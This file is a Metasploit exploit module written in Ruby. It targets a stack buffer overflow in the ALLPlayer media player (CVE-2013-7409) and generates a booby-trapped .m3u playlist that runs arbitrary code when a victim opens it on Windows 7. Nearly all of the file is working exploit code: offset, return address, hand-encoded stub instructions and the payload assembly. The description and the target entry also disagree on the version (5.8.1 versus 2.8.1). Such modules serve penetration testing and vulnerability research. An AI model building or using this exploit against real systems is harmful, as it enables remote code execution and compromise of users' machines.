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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ALLPlayer M3U Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow vulnerability in
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          ALLPlayer 5.8.1, caused by a long string in a playlist entry.
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          By persuading the victim to open a specially-crafted .M3U file, a
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          remote attacker could execute arbitrary code on the system or cause
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          the application to crash. This module has been tested successfully on
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          Windows 7 SP1.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'metacom', # Vulnerability discovery
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          'Mike Czumak',  # Original exploit
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          'Gabor Seljan'  # Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2013-7409' ],
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          [ 'BID', '62926' ],
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          [ 'BID', '63896' ],
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          [ 'EDB', '28855' ],
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          [ 'EDB', '29549' ],
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          [ 'EDB', '29798' ],
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          [ 'EDB', '32041' ],
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          [ 'OSVDB', '98283' ],
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          [ 'URL', 'http://www.allplayer.org/' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread'
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        },
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        'Platform' => 'win',
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        'Payload' => {
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          'DisableNops' => true,
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          'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
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          'Space' => 3060,
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          'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
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          'EncoderOptions' =>
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              {
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                'BufferRegister' => 'EAX'
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              }
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        },
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        'Targets' => [
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          [
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            ' ALLPlayer 2.8.1 / Windows 7 SP1',
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            {
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              'Offset' => 301,
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              'Ret' => "\x50\x45",  # POP POP RET from ALLPlayer.exe
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              'Nop' => "\x6e"       # ADD BYTE PTR DS:[ESI],CH
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            }
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          ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2013-10-09',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
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      ],
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      self.class
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    )
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  end
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  def exploit
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    nop = target['Nop']
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    sploit = rand_text_alpha_upper(target['Offset'])
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    sploit << "\x61\x50"      # POPAD
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    sploit << target.ret
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    sploit << "\x53"          # PUSH EBX
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    sploit << nop
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    sploit << "\x58"          # POP EAX
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    sploit << nop
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    sploit << "\x05\x14\x11"  # ADD EAX,0x11001400
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    sploit << nop
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    sploit << "\x2d\x13\x11"  # SUB EAX,0x11001300
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    sploit << nop
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    sploit << "\x50"          # PUSH EAX
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    sploit << nop
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    sploit << "\xc3"          # RET
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    sploit << nop * 109
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    sploit << payload.encoded
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    sploit << rand_text_alpha_upper(10000) # Generate exception
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    # Create the file
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create("http://" + sploit)
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  end
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end
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